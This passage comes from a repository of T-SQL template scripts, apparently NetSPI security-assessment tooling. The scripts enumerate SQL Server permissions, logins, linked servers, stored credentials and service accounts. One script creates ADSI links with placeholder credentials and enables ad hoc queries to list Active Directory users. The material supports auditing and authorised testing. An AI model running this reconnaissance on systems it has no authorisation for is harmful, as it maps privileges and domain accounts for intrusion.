--------------------------------------------------------------------------------
1 | -- http://stackoverflow.com/questions/410396/public-role-access-in-sql-server
2 | SELECT DISTINCT rp.name,
3 | ObjectType = rp.type_desc,
4 | PermissionType = pm.class_desc,
5 | pm.permission_name,
6 | pm.state_desc,
7 | ObjectType = CASE
8 | WHEN obj.type_desc IS NULL
9 | OR obj.type_desc = 'SYSTEM_TABLE' THEN
10 | pm.class_desc
11 | ELSE obj.type_desc
12 | END,
13 | [ObjectName] = Isnull(ss.name, Object_name(pm.major_id))
14 | FROM sys.database_principals rp
15 | INNER JOIN sys.database_permissions pm
16 | ON pm.grantee_principal_id = rp.principal_id
17 | LEFT JOIN sys.schemas ss
18 | ON pm.major_id = ss.schema_id
19 | LEFT JOIN sys.objects obj
20 | ON pm.[major_id] = obj.[object_id]
21 | order by objectname
22 |
23 | or
24 |
25 | /*
26 |
27 |
28 | --Script source found at : http://stackoverflow.com/a/7059579/1387418
29 | Security Audit Report
30 | 1) List all access provisioned to a sql user or windows user/group directly
31 | 2) List all access provisioned to a sql user or windows user/group through a database or application role
32 | 3) List all access provisioned to the public role
33 |
34 | Columns Returned:
35 | UserName : SQL or Windows/Active Directory user cccount. This could also be an Active Directory group.
36 | UserType : Value will be either 'SQL User' or 'Windows User'. This reflects the type of user defined for the
37 | SQL Server user account.
38 | DatabaseUserName: Name of the associated user as defined in the database user account. The database user may not be the
39 | same as the server user.
40 | Role : The role name. This will be null if the associated permissions to the object are defined at directly
41 | on the user account, otherwise this will be the name of the role that the user is a member of.
42 | PermissionType : Type of permissions the user/role has on an object. Examples could include CONNECT, EXECUTE, SELECT
43 | DELETE, INSERT, ALTER, CONTROL, TAKE OWNERSHIP, VIEW DEFINITION, etc.
44 | This value may not be populated for all roles. Some built in roles have implicit permission
45 | definitions.
46 | PermissionState : Reflects the state of the permission type, examples could include GRANT, DENY, etc.
47 | This value may not be populated for all roles. Some built in roles have implicit permission
48 | definitions.
49 | ObjectType : Type of object the user/role is assigned permissions on. Examples could include USER_TABLE,
50 | SQL_SCALAR_FUNCTION, SQL_INLINE_TABLE_VALUED_FUNCTION, SQL_STORED_PROCEDURE, VIEW, etc.
51 | This value may not be populated for all roles. Some built in roles have implicit permission
52 | definitions.
53 | ObjectName : Name of the object that the user/role is assigned permissions on.
54 | This value may not be populated for all roles. Some built in roles have implicit permission
55 | definitions.
56 | ColumnName : Name of the column of the object that the user/role is assigned permissions on. This value
57 | is only populated if the object is a table, view or a table value function.
58 | */
59 |
60 | --List all access provisioned to a sql user or windows user/group directly
61 | SELECT
62 | [UserName] = CASE princ.[type]
63 | WHEN 'S' THEN princ.[name]
64 | WHEN 'U' THEN ulogin.[name] COLLATE Latin1_General_CI_AI
65 | END,
66 | [UserType] = CASE princ.[type]
67 | WHEN 'S' THEN 'SQL User'
68 | WHEN 'U' THEN 'Windows User'
69 | END,
70 | [DatabaseUserName] = princ.[name],
71 | [Role] = null,
72 | [PermissionType] = perm.[permission_name],
73 | [PermissionState] = perm.[state_desc],
74 | [ObjectType] = obj.type_desc,--perm.[class_desc],
75 | [ObjectName] = OBJECT_NAME(perm.major_id),
76 | [ColumnName] = col.[name]
77 | FROM
78 | --database user
79 | sys.database_principals princ
80 | LEFT JOIN
81 | --Login accounts
82 | sys.login_token ulogin on princ.[sid] = ulogin.[sid]
83 | LEFT JOIN
84 | --Permissions
85 | sys.database_permissions perm ON perm.[grantee_principal_id] = princ.[principal_id]
86 | LEFT JOIN
87 | --Table columns
88 | sys.columns col ON col.[object_id] = perm.major_id
89 | AND col.[column_id] = perm.[minor_id]
90 | LEFT JOIN
91 | sys.objects obj ON perm.[major_id] = obj.[object_id]
92 | WHERE
93 | princ.[type] in ('S','U')
94 | UNION
95 | --List all access provisioned to a sql user or windows user/group through a database or application role
96 | SELECT
97 | [UserName] = CASE memberprinc.[type]
98 | WHEN 'S' THEN memberprinc.[name]
99 | WHEN 'U' THEN ulogin.[name] COLLATE Latin1_General_CI_AI
100 | END,
101 | [UserType] = CASE memberprinc.[type]
102 | WHEN 'S' THEN 'SQL User'
103 | WHEN 'U' THEN 'Windows User'
104 | END,
105 | [DatabaseUserName] = memberprinc.[name],
106 | [Role] = roleprinc.[name],
107 | [PermissionType] = perm.[permission_name],
108 | [PermissionState] = perm.[state_desc],
109 | [ObjectType] = obj.type_desc,--perm.[class_desc],
110 | [ObjectName] = OBJECT_NAME(perm.major_id),
111 | [ColumnName] = col.[name]
112 | FROM
113 | --Role/member associations
114 | sys.database_role_members members
115 | JOIN
116 | --Roles
117 | sys.database_principals roleprinc ON roleprinc.[principal_id] = members.[role_principal_id]
118 | JOIN
119 | --Role members (database users)
120 | sys.database_principals memberprinc ON memberprinc.[principal_id] = members.[member_principal_id]
121 | LEFT JOIN
122 | --Login accounts
123 | sys.login_token ulogin on memberprinc.[sid] = ulogin.[sid]
124 | LEFT JOIN
125 | --Permissions
126 | sys.database_permissions perm ON perm.[grantee_principal_id] = roleprinc.[principal_id]
127 | LEFT JOIN
128 | --Table columns
129 | sys.columns col on col.[object_id] = perm.major_id
130 | AND col.[column_id] = perm.[minor_id]
131 | LEFT JOIN
132 | sys.objects obj ON perm.[major_id] = obj.[object_id]
133 | UNION
134 | --List all access provisioned to the public role, which everyone gets by default
135 | SELECT
136 | [UserName] = '{All Users}',
137 | [UserType] = '{All Users}',
138 | [DatabaseUserName] = '{All Users}',
139 | [Role] = roleprinc.[name],
140 | [PermissionType] = perm.[permission_name],
141 | [PermissionState] = perm.[state_desc],
142 | [ObjectType] = obj.type_desc,--perm.[class_desc],
143 | [ObjectName] = OBJECT_NAME(perm.major_id),
144 | [ColumnName] = col.[name]
145 | FROM
146 | --Roles
147 | sys.database_principals roleprinc
148 | LEFT JOIN
149 | --Role permissions
150 | sys.database_permissions perm ON perm.[grantee_principal_id] = roleprinc.[principal_id]
151 | LEFT JOIN
152 | --Table columns
153 | sys.columns col on col.[object_id] = perm.major_id
154 | AND col.[column_id] = perm.[minor_id]
155 | JOIN
156 | --All objects
157 | sys.objects obj ON obj.[object_id] = perm.[major_id]
158 | WHERE
159 | --Only roles
160 | roleprinc.[type] = 'R' AND
161 | --Only public role
162 | roleprinc.[name] = 'public' AND
163 | --Only objects of ours, not the MS objects
164 | obj.is_ms_shipped = 0
165 | ORDER BY
166 | princ.[Name],
167 | OBJECT_NAME(perm.major_id),
168 | col.[name],
169 | perm.[permission_name],
170 | perm.[state_desc],
171 | obj.type_desc--perm.[class_desc]
172 |
--------------------------------------------------------------------------------
/templates/tsql/Get-SID2WinAccount.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-SID2WinAccount.sql
2 | -- Description: Example showing how to get the domain user or group
3 | -- for a given sid.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/ms179889.aspx
5 |
6 | SELECT SUSER_SNAME(0x010500000000000515000000F3864381DA1516CC636051C000020000)
--------------------------------------------------------------------------------
/templates/tsql/Get-SQLAgentJobProxy.tsql:
--------------------------------------------------------------------------------
1 | -- Get-SQLAgentJobProxy
2 | -- Ref:http://dba.stackexchange.com/questions/137675/how-to-find-what-sql-jobs-are-using-a-specific-account-as-proxy
3 |
4 | -- Search Credentials (shows account for Name)
5 |
6 | use msdb
7 | select *
8 | from sys.credentials
9 |
10 | --Search Jobs where there is a 'Run As' proxy and get the name of that proxy
11 |
12 | use msdb
13 |
14 | select sysjobsteps.job_id
15 | , sysjobs.name as 'JobName'
16 | , sysjobsteps.step_id
17 | , sysjobsteps.step_name
18 | , sysjobsteps.subsystem
19 | , sysjobsteps.last_run_date
20 | , sysjobsteps.proxy_id
21 | --, sysjobsteps.step_uid
22 | , sysproxies.name as 'ProxyName'
23 |
24 | from sysjobsteps
25 | left join dbo.sysproxies
26 | on sysjobsteps.proxy_id = sysproxies.proxy_id
27 | left join dbo.sysjobs
28 | on sysjobsteps.job_id = sysjobs.job_id
29 |
30 | where sysjobsteps.proxy_id > 0
31 |
--------------------------------------------------------------------------------
/templates/tsql/Get-SQLDomainUser-Example.sql:
--------------------------------------------------------------------------------
1 |
2 | -- Script: Get-SQLDomainUser-Example.sql
3 | -- Description: Use OLE DB ADSI connections to grab a list of domain users via SQL Server links (OpenQuery) and adhoc queries (OpenRowSet).
4 | -- Author: Scott Sutherland, NetSPI 2017
5 |
6 |
7 | --------------------------------------
8 | -- Create SQL Server link to ADSI
9 | --------------------------------------
10 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'ADSI') = 0
11 | EXEC master.dbo.sp_addlinkedserver @server = N'ADSI',
12 | @srvproduct=N'Active Directory Service Interfaces',
13 | @provider=N'ADSDSOObject',
14 | @datasrc=N'adsdatasource'
15 | ELSE
16 | SELECT 'The target SQL Server link already exists.'
17 | GO
18 |
19 | -- Verify the link was created
20 | SELECT * FROM master..sysservers WHERE providername = 'ADSDSOObject'
21 |
22 | -- Configure ADSI link to Authenticate as current user
23 | EXEC sp_addlinkedsrvlogin
24 | @rmtsrvname=N'ADSI',
25 | @useself=N'True',
26 | @locallogin=NULL,
27 | @rmtuser=NULL,
28 | @rmtpassword=NULL
29 | GO
30 |
31 |
32 | --------------------------------------
33 | -- Create SQL Server link to ADSI2
34 | --------------------------------------
35 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'ADSI2') = 0
36 | EXEC master.dbo.sp_addlinkedserver @server = N'ADSI2',
37 | @srvproduct=N'Active Directory Service Interfaces',
38 | @provider=N'ADSDSOObject',
39 | @datasrc=N'adsdatasource'
40 | ELSE
41 | SELECT 'The target SQL Server link already exists.'
42 | -- EXEC master.dbo.sp_dropserver @server=N'ADSI', @droplogins='droplogins'
43 |
44 | GO
45 |
46 | -- Verify the link was created
47 | SELECT * FROM master..sysservers WHERE providername = 'ADSDSOObject'
48 |
49 | -- Configure the ADSI2 link to Authenticate as provided domain user
50 | EXEC sp_addlinkedsrvlogin
51 | @rmtsrvname=N'ADSI2',
52 | @useself=N'False',
53 | @locallogin=NULL,
54 | @rmtuser=N'Domain\User',
55 | @rmtpassword=N'Password123!'
56 | GO
57 |
58 |
59 | --------------------------------------
60 | -- Run basic LDAP queries - OpenQuery
61 | --------------------------------------
62 |
63 | -- sa as current failed, but sysadmin domain user works
64 | SELECT * FROM OpenQuery(ADSI,';(&(objectCategory=Person)(objectClass=user));samaccountname,name,admincount,whencreated,whenchanged,adspath;subtree')
65 |
66 | -- provided domain user works
67 | SELECT * FROM OpenQuery(ADSI2,';(&(objectCategory=Person)(objectClass=user));samaccountname,name,admincount,whencreated,whenchanged,adspath;subtree')
68 |
69 | -- sa as current failed, but sysadmin domain user works
70 | SELECT * FROM OpenQuery(ADSI, 'SELECT samaccountname,name,admincount,whencreated,whenchanged,adspath FROM ''LDAP://domain'' WHERE objectClass = ''User'' ') AS tblADSI
71 |
72 | -- provided domain user works
73 | SELECT * FROM OpenQuery(ADSI2, 'SELECT samaccountname,name,admincount,whencreated,whenchanged,adspath FROM ''LDAP://domain'' WHERE objectClass = ''User'' ') AS tblADSI
74 |
75 |
76 | --------------------------------------
77 | -- Remove links and login mappings
78 | --------------------------------------
79 | EXEC master.dbo.sp_dropserver @server=N'ADSI', @droplogins='droplogins'
80 | EXEC master.dbo.sp_dropserver @server=N'ADSI2', @droplogins='droplogins'
81 |
82 |
83 | --------------------------------------
84 | -- Enabled adhoc queries on the server
85 | --------------------------------------
86 | EXEC master.sys.sp_configure 'Show Advanced Options',1
87 | reconfigure
88 | go
89 |
90 | EXEC master.sys.sp_configure 'Ad Hoc Distributed Queries',1
91 | reconfigure
92 | go
93 |
94 |
95 | --------------------------------------
96 | -- Run basic LDAP queries - OpenRowSet
97 | --------------------------------------
98 | -- Need to confirm which scenario run as service account.
99 |
100 | -- Run without credential in syntax option 1 - works as sa
101 | SELECT *
102 | FROM OPENROWSET('ADSDSOOBJECT','adsdatasource','SELECT samaccountname,name,admincount,whencreated,whenchanged,adspath
103 | FROM ''LDAP://domain''
104 | WHERE objectClass = ''User'' ')
105 |
106 | -- Run with credential in syntax option 1 - works as sa
107 | SELECT *
108 | FROM OPENROWSET('ADSDSOOBJECT','User ID=domain\user; Password=Password123!;','SELECT samaccountname,name,admincount,whencreated,whenchanged,adspath
109 | FROM ''LDAP://domain''
110 | WHERE objectClass = ''User'' ')
111 |
112 | -- Run with credential in synatx option 2 - works as sa login
113 | SELECT *
114 | FROM OPENROWSET('ADSDSOOBJECT','User ID=domain\user; Password=Password123!;',
115 | ';(&(objectCategory=Person)(objectClass=user));samaccountname,name,admincount,whencreated,whenchanged,adspath;subtree')
116 |
--------------------------------------------------------------------------------
/templates/tsql/Get-SQLForcedEncryptionSetting.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-SQLForcedEncryptionSetting.sql
2 | -- Description: Get the "Forced Encryption" setting for the current SQL Server instance.
3 | -- Author: Scott Sutherland, NetSPI 2018
4 |
5 | BEGIN TRY
6 | DECLARE @ForcedEncryption INT
7 | EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
8 | N'SOFTWARE\MICROSOFT\Microsoft SQL Server\MSSQLServer\SuperSocketNetLib',
9 | N'ForceEncryption', @ForcedEncryption OUTPUT
10 |
11 | SELECT @ForcedEncryption as ForcedEncryption
12 | END TRY
13 | BEGIN CATCH
14 | SELECT
15 | ERROR_NUMBER() AS ErrorNumber
16 | ,ERROR_MESSAGE() AS ErrorMessage;
17 | END CATCH
18 |
--------------------------------------------------------------------------------
/templates/tsql/Get-SQLOleDbProvider.sql:
--------------------------------------------------------------------------------
1 | -- Name: Get-SQLOleDbProvider.sql
2 | -- Description: Get a list of OLE DB providers along with their properties.
3 | -- This query combines the output of sp_MSset_oledb_prop and sp_enum_oledb_providers.
4 | -- Requirements: Sysadmin privileges.
5 | -- Author: Scott Sutherland, NetSPI 2017
6 |
7 | -- Get a list of providers
8 | CREATE TABLE #Providers ([ProviderName] varchar(8000),
9 | [ParseName] varchar(8000),
10 | [ProviderDescription] varchar(8000))
11 |
12 | INSERT INTO #Providers
13 | EXEC xp_enum_oledb_providers
14 |
15 | -- Create temp table for provider information
16 | CREATE TABLE #ProviderInformation ([ProviderName] varchar(8000),
17 | [ProviderDescription] varchar(8000),
18 | [ProviderParseName] varchar(8000),
19 | [AllowInProcess] int,
20 | [DisallowAdHocAccess] int,
21 | [DynamicParameters] int,
22 | [IndexAsAccessPath] int,
23 | [LevelZeroOnly] int,
24 | [NestedQueries] int,
25 | [NonTransactedUpdates] int,
26 | [SqlServerLIKE] int)
27 |
28 | -- Setup required variables for cursor
29 | DECLARE @Provider_name varchar(8000);
30 | DECLARE @Provider_parse_name varchar(8000);
31 | DECLARE @Provider_description varchar(8000);
32 | DECLARE @property_name varchar(8000)
33 | DECLARE @regpath nvarchar(512)
34 |
35 | -- Start cursor
36 | DECLARE MY_CURSOR1 CURSOR
37 | FOR
38 | SELECT * FROM #Providers
39 | OPEN MY_CURSOR1
40 | FETCH NEXT FROM MY_CURSOR1 INTO @Provider_name,@Provider_parse_name,@Provider_description
41 | WHILE @@FETCH_STATUS = 0
42 |
43 | BEGIN
44 |
45 | -- Set the registry path
46 | SET @regpath = N'SOFTWARE\Microsoft\MSSQLServer\Providers\' + @provider_name
47 |
48 | -- AllowInProcess
49 | DECLARE @AllowInProcess int
50 | SET @AllowInProcess = 0
51 | exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'AllowInProcess', @AllowInProcess OUTPUT
52 | IF @AllowInProcess IS NULL
53 | SET @AllowInProcess = 0
54 |
55 | -- DisallowAdHocAccess
56 | DECLARE @DisallowAdHocAccess int
57 | SET @DisallowAdHocAccess = 0
58 | exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'DisallowAdHocAccess', @DisallowAdHocAccess OUTPUT
59 | IF @DisallowAdHocAccess IS NULL
60 | SET @DisallowAdHocAccess = 0
61 |
62 | -- DynamicParameters
63 | DECLARE @DynamicParameters int
64 | SET @DynamicParameters = 0
65 | exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'DynamicParameters', @DynamicParameters OUTPUT
66 | IF @DynamicParameters IS NULL
67 | SET @DynamicParameters = 0
68 |
69 | -- IndexAsAccessPath
70 | DECLARE @IndexAsAccessPath int
71 | SET @IndexAsAccessPath = 0
72 | exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'IndexAsAccessPath', @IndexAsAccessPath OUTPUT
73 | IF @IndexAsAccessPath IS NULL
74 | SET @IndexAsAccessPath = 0
75 |
76 | -- LevelZeroOnly
77 | DECLARE @LevelZeroOnly int
78 | SET @LevelZeroOnly = 0
79 | exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'LevelZeroOnly', @LevelZeroOnly OUTPUT
80 | IF @LevelZeroOnly IS NULL
81 | SET @LevelZeroOnly = 0
82 |
83 | -- NestedQueries
84 | DECLARE @NestedQueries int
85 | SET @NestedQueries = 0
86 | exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'NestedQueries', @NestedQueries OUTPUT
87 | IF @NestedQueries IS NULL
88 | SET @NestedQueries = 0
89 |
90 | -- NonTransactedUpdates
91 | DECLARE @NonTransactedUpdates int
92 | SET @NonTransactedUpdates = 0
93 | exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'NonTransactedUpdates', @NonTransactedUpdates OUTPUT
94 | IF @NonTransactedUpdates IS NULL
95 | SET @NonTransactedUpdates = 0
96 |
97 | -- SqlServerLIKE
98 | DECLARE @SqlServerLIKE int
99 | SET @SqlServerLIKE = 0
100 | exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'SqlServerLIKE', @SqlServerLIKE OUTPUT
101 | IF @SqlServerLIKE IS NULL
102 | SET @SqlServerLIKE = 0
103 |
104 | -- Add the full provider record to the temp table
105 | INSERT INTO #ProviderInformation
106 | VALUES (@Provider_name,@Provider_description,@Provider_parse_name,@AllowInProcess,@DisallowAdHocAccess,@DynamicParameters,@IndexAsAccessPath,@LevelZeroOnly,@NestedQueries,@NonTransactedUpdates,@SqlServerLIKE);
107 |
108 | FETCH NEXT FROM MY_CURSOR1 INTO @Provider_name,@Provider_parse_name,@Provider_description
109 |
110 | END
111 |
112 | -- Return records
113 | SELECT * FROM #ProviderInformation
114 |
115 | -- Clean up
116 | CLOSE MY_CURSOR1
117 | DEALLOCATE MY_CURSOR1
118 | DROP TABLE #Providers
119 | DROP TABLE #ProviderInformation
120 |
--------------------------------------------------------------------------------
/templates/tsql/Get-SQLPolicies.sql:
--------------------------------------------------------------------------------
1 |
2 | /*
3 | Script: Get-SQLPolicies.sql
4 | Description: List the SQL Server management policies in place.
5 | Author: Scott Sutherland, 2017
6 | */
7 |
8 | SELECT p.policy_id,
9 | p.name as [PolicyName],
10 | p.condition_id,
11 | c.name as [ConditionName],
12 | c.facet,
13 | c.expression as [ConditionExpression],
14 | p.root_condition_id,
15 | p.is_enabled,
16 | p.date_created,
17 | p.date_modified,
18 | p.description,
19 | p.created_by,
20 | p.is_system,
21 | t.target_set_id,
22 | t.TYPE,
23 | t.type_skeleton
24 | FROM msdb.dbo.syspolicy_policies p
25 | INNER JOIN syspolicy_conditions c
26 | ON p.condition_id = c.condition_id
27 | INNER JOIN msdb.dbo.syspolicy_target_sets t
28 | ON t.object_set_id = p.object_set_id
29 |
--------------------------------------------------------------------------------
/templates/tsql/Get-SQLServerLinkHistory.sql:
--------------------------------------------------------------------------------
1 | /*
2 | Script:
3 | Get-SQLServerLinkHistory
4 |
5 | Goal:
6 | Identify linked server usage by qurying the plan cache.
7 |
8 | Potential Solution:
9 | You can modify the query below to identify openquery, openrowset and specific link name usage (would require appending names to query).
10 | However, I still need a solution for four part named references.
11 |
12 | Requiremets:
13 | Sysadmin or required SELECT privileges.
14 |
15 | Known limitations:
16 | - If linked server is used via view/function it may not appear in your result set. In these instances you would have to search the
17 | source code for link name references in functions/views, then search the plan cache for those function/views.
18 | - It will only include any sql that is in the plan cache.
19 | - The plan cache is cleared on restart.
20 | - SQL Server will clear out old plans from the cache once it's size limits are reached (can we check when it was last cleared?)
21 |
22 | Source:
23 | https://dba.stackexchange.com/questions/5519/determine-last-usage-date-of-a-linked-server
24 | */
25 |
26 | SELECT
27 | (SELECT TOP 1 SUBSTRING(s2.text,statement_start_offset / 2+1 ,
28 | ( (CASE WHEN statement_end_offset = -1
29 | THEN (LEN(CONVERT(nvarchar(max),s2.text)) * 2)
30 | ELSE statement_end_offset END) - statement_start_offset) / 2+1))
31 | AS sql_statement,
32 | last_execution_time
33 | FROM sys.dm_exec_query_stats AS s1
34 | CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS s2
35 | WHERE s2.text like '%openquery%' or s2.text like '%openrowset)'
36 | ORDER BY
37 | s1.sql_handle, s1.statement_start_offset, s1.statement_end_offset
38 |
--------------------------------------------------------------------------------
/templates/tsql/Get-SQLStoredProcedureCLR.sql:
--------------------------------------------------------------------------------
1 | -- Use this to list out CLR stored procedure information
2 | -- This is a modified version of code found at
3 | -- https://stackoverflow.com/questions/3155542/sql-server-how-to-list-all-clr-functions-procedures-objects-for-assembly
4 | USE msdb;
5 | SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
6 | af.file_id,
7 | af.name + '.dll' as [file_name],
8 | asmbly.clr_name,
9 | asmbly.assembly_id,
10 | asmbly.name AS [assembly_name],
11 | am.assembly_class,
12 | am.assembly_method,
13 | so.object_id as [sp_object_id],
14 | so.name AS [sp_name],
15 | so.[type] as [sp_type],
16 | asmbly.permission_set_desc,
17 | asmbly.create_date,
18 | asmbly.modify_date,
19 | af.content
20 | FROM sys.assembly_modules am
21 | INNER JOIN sys.assemblies asmbly
22 | ON asmbly.assembly_id = am.assembly_id
23 | INNER JOIN sys.assembly_files af
24 | ON asmbly.assembly_id = af.assembly_id
25 | INNER JOIN sys.objects so
26 | ON so.[object_id] = am.[object_id]
27 |
--------------------------------------------------------------------------------
/templates/tsql/Get-SQLStoredProcedureXp.sql:
--------------------------------------------------------------------------------
1 | /*
2 | Script: Get-SQLStoredProcedureXP.sql
3 | Description: This will list the custom exteneded stored procedures for the current database.
4 | Author: Scott Sutherland, 2017
5 | */
6 |
7 | SELECT o.object_id,
8 | o.parent_object_id,
9 | o.schema_id,
10 | o.type,
11 | o.type_desc,
12 | o.name,
13 | o.principal_id,
14 | s.text,
15 | s.ctext,
16 | s.status,
17 | o.create_date,
18 | o.modify_date,
19 | o.is_ms_shipped,
20 | o.is_published,
21 | o.is_schema_published,
22 | s.colid,
23 | s.compressed,
24 | s.encrypted,
25 | s.id,
26 | s.language,
27 | s.number,
28 | s.texttype
29 | FROM sys.objects o
30 | INNER JOIN sys.syscomments s
31 | ON o.object_id = s.id
32 | WHERE o.type = 'x'
33 |
--------------------------------------------------------------------------------
/templates/tsql/Get-Schema:
--------------------------------------------------------------------------------
1 |
2 | SELECT *
3 | FROM information_schema.schemata
4 |
5 |
6 | SELECT s.Name, u.*
7 | FROM sys.schemas s
8 | INNER JOIN sys.sysusers u
9 | ON u.uid = s.principal_id
10 |
--------------------------------------------------------------------------------
/templates/tsql/Get-Schema.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-Schema.sql
2 | -- Description: Return list of schemas for the current database.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms182642.aspx
4 |
5 | SELECT CATALOG_NAME AS [DATABASE_NAME],
6 | SCHEMA_NAME,
7 | SCHEMA_OWNER
8 | FROM [INFORMATION_SCHEMA].[SCHEMATA]
9 | ORDER BY SCHEMA_NAME
--------------------------------------------------------------------------------
/templates/tsql/Get-ServerAudit.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ServerAudit.sql
2 | -- Requirements: Sysadmin or required SELECT privileges.
3 | -- Description: List server audit specifications.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/cc280727.aspx
5 |
6 | SELECT * FROM sys.server_audits AS a
7 | JOIN sys.server_audit_specifications AS s
8 | ON a.audit_guid = s.audit_guid
9 | JOIN sys.server_audit_specification_details AS d
10 | ON s.server_specification_id = d.server_specification_id
11 |
--------------------------------------------------------------------------------
/templates/tsql/Get-ServerCertLogin.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ServerCertLogin.sql
2 | -- Description: Return a list of server logins created from a certificate.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms188786.aspx
4 |
5 | SELECT *
6 | FROM [sys].[server_principals]
7 | WHERE type = 'C'
8 |
--------------------------------------------------------------------------------
/templates/tsql/Get-ServerConfiguration.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ServerConfiguration.sql
2 | -- Description: Return list of server configurations.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms188345.aspx
4 |
5 | SELECT * FROM [sys].[configurations]
--------------------------------------------------------------------------------
/templates/tsql/Get-ServerLink.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ServerLink.sql
2 | -- Decription: Return a list of SQL Server links and their properties.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms178530.aspx
4 | -- Note: Use open query or four part names to query links
5 |
6 | SELECT a.server_id,
7 | a.name AS [DATABASE_LINK_NAME],
8 | CASE a.Server_id
9 | WHEN 0
10 | THEN 'Current'
11 | ELSE 'Remote'
12 | END AS [DATABASE_LINK_LOCATION],
13 | a.product,
14 | a.provider,
15 | a.catalog,
16 | 'Local Login ' = CASE b.uses_self_credential
17 | WHEN 1 THEN 'Uses Self Credentials'
18 | ELSE c.name
19 | END,
20 | b.remote_name AS [REMOTE LOGIN NAME],
21 | a.is_rpc_out_enabled,
22 | a.is_data_access_enabled,
23 | a.modify_date
24 | FROM [sys].[Servers] a
25 | LEFT JOIN [sys].[linked_logins] b
26 | ON a.server_id = b.server_id
27 | LEFT JOIN [sys].[server_principals] c
28 | ON c.principal_id = b.local_principal_id
29 |
30 | -- Alternative Options
31 |
32 | sp_linkedservers
33 | select * from master..sysservers
34 | select * from master.dbo.sysservers
35 | select * from master.sys.servers
36 | select * from FROM master.sys.sysxsrvs -- This is a system base table and can only be accessed via a dedicated administrator connection (DAC) with a sysadmin login.
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
--------------------------------------------------------------------------------
/templates/tsql/Get-ServerLogin.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ServerLogin.sql
2 | -- Description: Get list of logins for the server. To view all
3 | -- logins the user must be a sysadmin. Unless bruteforced.
4 | -- Reference: http://msdn.microsoft.com/en-us/library/ms345412.aspx
5 |
6 | SELECT name,
7 | principal_id,
8 | sid,
9 | type,
10 | type_desc,
11 | create_date,
12 | LOGINPROPERTY ( name , 'IsLocked' ) AS [is_locked]
13 | FROm [sys].[server_principals]
--------------------------------------------------------------------------------
/templates/tsql/Get-ServerPriv.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ServerPriv.sql
2 | -- Description: list all server principals with their permissions on server level.
3 | -- This Transact-SQL script list all server principals with their permissions on
4 | -- server level to give a quick overview of security. For given permissions on
5 | -- server object like endpoints or impersonate other login it returns also the
6 | -- object / login etc name.Works with SQL Server 2005 and higher versions in all editions.
7 | -- Lists only object where the executing user do have VIEW METADATA permissions for.
8 | -- Reference: http://msdn.microsoft.com/en-us/library/ms186260.aspx
9 | -- Note: This line below will also show full privs for sysadmin users
10 | -- SELECT * FROM fn_my_permissions(NULL, 'SERVER');
11 |
12 | SELECT GRE.name AS Grantee
13 | ,GRO.name AS Grantor
14 | ,PER.class_desc AS PermClass
15 | ,PER.permission_name AS PermName
16 | ,PER.state_desc AS PermState
17 | ,COALESCE(PRC.name, EP.name, N'') AS ObjectName
18 | ,COALESCE(PRC.type_desc, EP.type_desc, N'') AS ObjectType
19 | FROM [sys].[server_permissions] AS PER
20 | INNER JOIN sys.server_principals AS GRO
21 | ON PER.grantor_principal_id = GRO.principal_id
22 | INNER JOIN sys.server_principals AS GRE
23 | ON PER.grantee_principal_id = GRE.principal_id
24 | LEFT JOIN sys.server_principals AS PRC
25 | ON PER.class = 101
26 | AND PER.major_id = PRC.principal_id
27 | LEFT JOIN sys.endpoints AS EP
28 | ON PER.class = 105
29 | AND PER.major_id = EP.endpoint_id
30 | ORDER BY Grantee,PermName;
--------------------------------------------------------------------------------
/templates/tsql/Get-ServerRole.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ServerRole.sql
2 | -- Description: Return security principals and server roles.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms188786.aspx
4 |
5 | SELECT sp.name AS LoginName,
6 | sp.type_desc AS LoginType,
7 | sp.default_database_name AS DefaultDBName,
8 | slog.sysadmin AS SysAdmin,
9 | slog.securityadmin AS SecurityAdmin,
10 | slog.serveradmin AS ServerAdmin,
11 | slog.setupadmin AS SetupAdmin,
12 | slog.processadmin AS ProcessAdmin,
13 | slog.diskadmin AS DiskAdmin,
14 | slog.dbcreator AS DBCreator,
15 | slog.bulkadmin AS BulkAdmin
16 | FROM [sys].[server_principals] sp
17 | JOIN [master].[dbo].[syslogins] slog
18 | ON sp.sid = slog.sid
--------------------------------------------------------------------------------
/templates/tsql/Get-ServiceAccount.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-ServiceAccount.sql
2 | -- Description: Return the service accounts running the major database services.
3 |
4 | -- Setup variables
5 | DECLARE @SQLServerInstance VARCHAR(250)
6 | DECLARE @MSOLAPInstance VARCHAR(250)
7 | DECLARE @ReportInstance VARCHAR(250)
8 | DECLARE @AgentInstance VARCHAR(250)
9 | DECLARE @IntegrationVersion VARCHAR(250)
10 | DECLARE @DBEngineLogin VARCHAR(100)
11 | DECLARE @AgentLogin VARCHAR(100)
12 | DECLARE @BrowserLogin VARCHAR(100)
